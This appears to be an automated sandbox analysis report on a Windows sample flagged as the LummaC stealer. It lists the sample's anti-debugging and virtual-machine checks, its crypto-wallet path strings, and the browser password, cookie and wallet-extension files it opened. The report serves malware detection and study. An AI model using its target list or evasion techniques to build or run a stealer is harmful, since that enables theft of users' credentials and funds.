Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.8.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.8.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.8.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.8.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: Amcache.hve.8.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Amcache.hve.8.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: Amcache.hve.8.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.8.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.00000000056B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Amcache.hve.8.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

API call chain: ExitProcess graph end node

graph_0-74210

Anti Debugging

Contains functionality to hide a thread from the debugger

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_004244E4 NtSetInformationThread 000000FE,00000011,00000000,00000000,?,?,?,?,?,0041EC64

0_2_004244E4

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep

graph_0-74296

Hides threads from debuggers

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Thread information set: HideFromDebugger

Jump to behavior

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Process queried: DebugFlags	Jump to behavior

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_00429EF7 rdtsc

0_2_00429EF7

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_0044E33B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0044E33B

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_0041F9A4 GetCurrentProcessId,NtDuplicateObject,NtClose,GetProcessId,NtQuerySystemInformation,NtQuerySystemInformation,

0_2_0041F9A4

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00422177 mov eax, dword ptr fs:[00000030h]	0_2_00422177
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00443998 mov ecx, dword ptr fs:[00000030h]	0_2_00443998
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041F9A4 mov eax, dword ptr fs:[00000030h]	0_2_0041F9A4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004262A1 mov eax, dword ptr fs:[00000030h]	0_2_004262A1
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0043B362 mov eax, dword ptr fs:[00000030h]	0_2_0043B362
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0044FB15 mov eax, dword ptr fs:[00000030h]	0_2_0044FB15
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004244E4 mov eax, dword ptr fs:[00000030h]	0_2_004244E4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004224A3 mov eax, dword ptr fs:[00000030h]	0_2_004224A3
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004245EC mov eax, dword ptr fs:[00000030h]	0_2_004245EC
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00421EEB mov eax, dword ptr fs:[00000030h]	0_2_00421EEB
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00422817 mov eax, dword ptr fs:[00000030h]	0_2_00422817
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041F916 mov eax, dword ptr fs:[00000030h]	0_2_0041F916
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_004269E4 mov eax, dword ptr fs:[00000030h]	0_2_004269E4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00424995 mov eax, dword ptr fs:[00000030h]	0_2_00424995
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00424995 mov eax, dword ptr fs:[00000030h]	0_2_00424995
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00426A42 mov eax, dword ptr fs:[00000030h]	0_2_00426A42
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0042F265 mov eax, dword ptr fs:[00000030h]	0_2_0042F265
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00424B24 mov eax, dword ptr fs:[00000030h]	0_2_00424B24
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041EBEB mov eax, dword ptr fs:[00000030h]	0_2_0041EBEB
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00424BED mov eax, dword ptr fs:[00000030h]	0_2_00424BED
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00424C8D mov eax, dword ptr fs:[00000030h]	0_2_00424C8D
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0041E6F0 mov eax, dword ptr fs:[00000030h]	0_2_0041E6F0
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_00429EF7 mov eax, dword ptr fs:[00000030h]	0_2_00429EF7
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF2A7E mov eax, dword ptr fs:[00000030h]	0_2_02EF2A7E
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F13BFF mov ecx, dword ptr fs:[00000030h]	0_2_02F13BFF
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF4BFC mov eax, dword ptr fs:[00000030h]	0_2_02EF4BFC
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF4BFC mov eax, dword ptr fs:[00000030h]	0_2_02EF4BFC
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF23DE mov eax, dword ptr fs:[00000030h]	0_2_02EF23DE
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EEFB7D mov eax, dword ptr fs:[00000030h]	0_2_02EEFB7D
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF4853 mov eax, dword ptr fs:[00000030h]	0_2_02EF4853
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EFA15E mov eax, dword ptr fs:[00000030h]	0_2_02EFA15E
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EEE957 mov eax, dword ptr fs:[00000030h]	0_2_02EEE957
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF2152 mov eax, dword ptr fs:[00000030h]	0_2_02EF2152
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02ED092B mov eax, dword ptr fs:[00000030h]	0_2_02ED092B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF4EF4 mov eax, dword ptr fs:[00000030h]	0_2_02EF4EF4
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF4E54 mov eax, dword ptr fs:[00000030h]	0_2_02EF4E54
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EEEE52 mov eax, dword ptr fs:[00000030h]	0_2_02EEEE52
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF474B mov eax, dword ptr fs:[00000030h]	0_2_02EF474B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF270A mov eax, dword ptr fs:[00000030h]	0_2_02EF270A
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EFF4CC mov eax, dword ptr fs:[00000030h]	0_2_02EFF4CC
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF6CA9 mov eax, dword ptr fs:[00000030h]	0_2_02EF6CA9
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF6C4B mov eax, dword ptr fs:[00000030h]	0_2_02EF6C4B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EEFC0B mov eax, dword ptr fs:[00000030h]	0_2_02EEFC0B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0B5C9 mov eax, dword ptr fs:[00000030h]	0_2_02F0B5C9
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF4D8B mov eax, dword ptr fs:[00000030h]	0_2_02EF4D8B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02ED0D90 mov eax, dword ptr fs:[00000030h]	0_2_02ED0D90
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F1FD7C mov eax, dword ptr fs:[00000030h]	0_2_02F1FD7C
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02EF6508 mov eax, dword ptr fs:[00000030h]	0_2_02EF6508
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F6980B push dword ptr fs:[00000030h]	0_2_02F6980B

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_0043323B GetProcessHeap,CreateDCW,GetSystemMetrics,GetSystemMetrics,DeleteDC,

0_2_0043323B

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0044E33B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0044E33B
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0043D3A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0043D3A0
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0043CE89 SetUnhandledExceptionFilter,	0_2_0043CE89
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_0043CE95 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0043CE95
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0D0F0 SetUnhandledExceptionFilter,	0_2_02F0D0F0
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0D0FC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_02F0D0FC
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F0D607 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_02F0D607
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	Code function: 0_2_02F1E5A2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_02F1E5A2

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_0043D0B8 cpuid

0_2_0043D0B8

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_0044614F GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_0044614F

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_00402476 GetComputerNameW,GetUserNameW,

0_2_00402476

Source: C:\Users\user\Desktop\I2BJhmJou4.exe

Code function: 0_2_00453BC4 GetTimeZoneInformation,

0_2_00453BC4

Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 0.2.I2BJhmJou4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I2BJhmJou4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.I2BJhmJou4.exe.49f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1423642848.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: I2BJhmJou4.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: I2BJhmJou4.exe	String found in binary or memory: %appdata%\Electrum\wallets
Source: I2BJhmJou4.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: I2BJhmJou4.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: I2BJhmJou4.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: I2BJhmJou4.exe, 00000000.00000002.3250103126.00000000058FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: I2BJhmJou4.exe, 00000000.00000002.3250103126.00000000058FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum0
Source: I2BJhmJou4.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: I2BJhmJou4.exe, 00000000.00000002.3249213075.000000000565F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystoremu
Source: I2BJhmJou4.exe, 00000000.00000002.3250103126.00000000058FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger LiveM

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\kz8kl7vh.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfel	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjhl	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobl	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbml	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddffflal	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\I2BJhmJou4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
